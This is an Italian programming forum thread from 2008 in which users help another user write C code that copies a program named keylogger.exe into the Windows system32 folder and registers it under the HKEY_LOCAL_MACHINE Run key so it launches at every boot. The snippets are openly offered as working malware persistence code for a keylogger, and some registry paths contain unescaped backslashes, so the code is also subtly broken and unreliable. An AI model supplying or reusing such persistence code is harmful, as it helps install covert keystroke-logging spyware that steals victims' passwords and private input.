Oppure

Loading
06/03/08 22:16
FHF93
Postato originariamente da feddur:

ho problemi con la libreria..


All'inizio scrivi

#include<windows.h>
#include<winreg.h>


Poi linki la libreria windows ... ora non so che compilatore usi , se usi il Dev vai su Strumenti-->Opzioni di compilazione-->Crocia "Aggiungi i comandi seguenti in fase di compilazione" e come comando metti "-lwinmm"

Poi compili
aaa
06/03/08 22:23
Dark_Limit
Prova ad usare questo codice senza modificare quello che ti ho dato prima:


HKEY hKey;
                RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\Microsoft\Windows\CurrentVersion\Run",0,
                KEY_SET_VALUE,&hKey);
                
                RegSetValueEx(hKey,"nomenelregistro",0,REG_SZ,(const unsigned char*)percorso,255);
                
                RegCloseKey(hKey);



L'ho testato e funziona! Le librerie non servono tutto è incluso nel file header <windows.h>

!:k:
Ultima modifica effettuata da Dark_Limit 06/03/08 22:27
aaa
06/03/08 22:33
feddur
Dark.. mi rendo conto di essere proprio scarso!
potresti gentilmente incollarmi l'intero codice esatto?
mi sono incasinato con tutte le prove che ho fatto, non so piu' qual è quella di prima!

fabrizio.. ora provo con la tua soluzione.

:):)
aaa
06/03/08 22:38
feddur
fabrizio, mi da errori con il 'null'
aaa
06/03/08 22:48
FHF93
Allora ripeto ...
ho scritto null invece di NULL

#include <stdio.h>
#include <windows.h>
#include <winreg.h>

int main(){
 
//dichiari
char sys32[512];
char path[512];
char autoavvio[]="SOFTWARE\Microsoft\Windows\CurrentVersion\Run";

//Prende la cartella di sistema
GetSystemDirectory(sys32, sizeof(sys32));  
//Scrivo in path il percorso della directory
sprintf(path,"%s\keylogger.exe",sys32);
//Copio il file keylogger.exe nel path
CopyFile("keylogger.exe",path, 1);  


HKEY key_autoavvio;
DWORD key_run;
RegCreateKeyEx(HKEY_LOCAL_MACHINE,autoavvio,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&key_autoavvio,&key_run);
RegSetValueEx(key_autoavvio,"avvia",0,REG_SZ,"C:\WINDOWS\system32\keylogger.exe",512);
RegCloseKey(key_autoavvio);

/*Resto del codice del keylogger*/


(linka sempre la libreria come ti ho spiegato prima)
aaa
06/03/08 22:56
feddur
Status: Done...
è andato!
ma non vedo nessun file in "esecuzione automatica", mi devo proccupare? :D
aaa
06/03/08 23:09
feddur
vi ho fatti stancare? :rotfl:
aaa
07/03/08 18:30
gantonio
Penso proprio di sì ...
aaa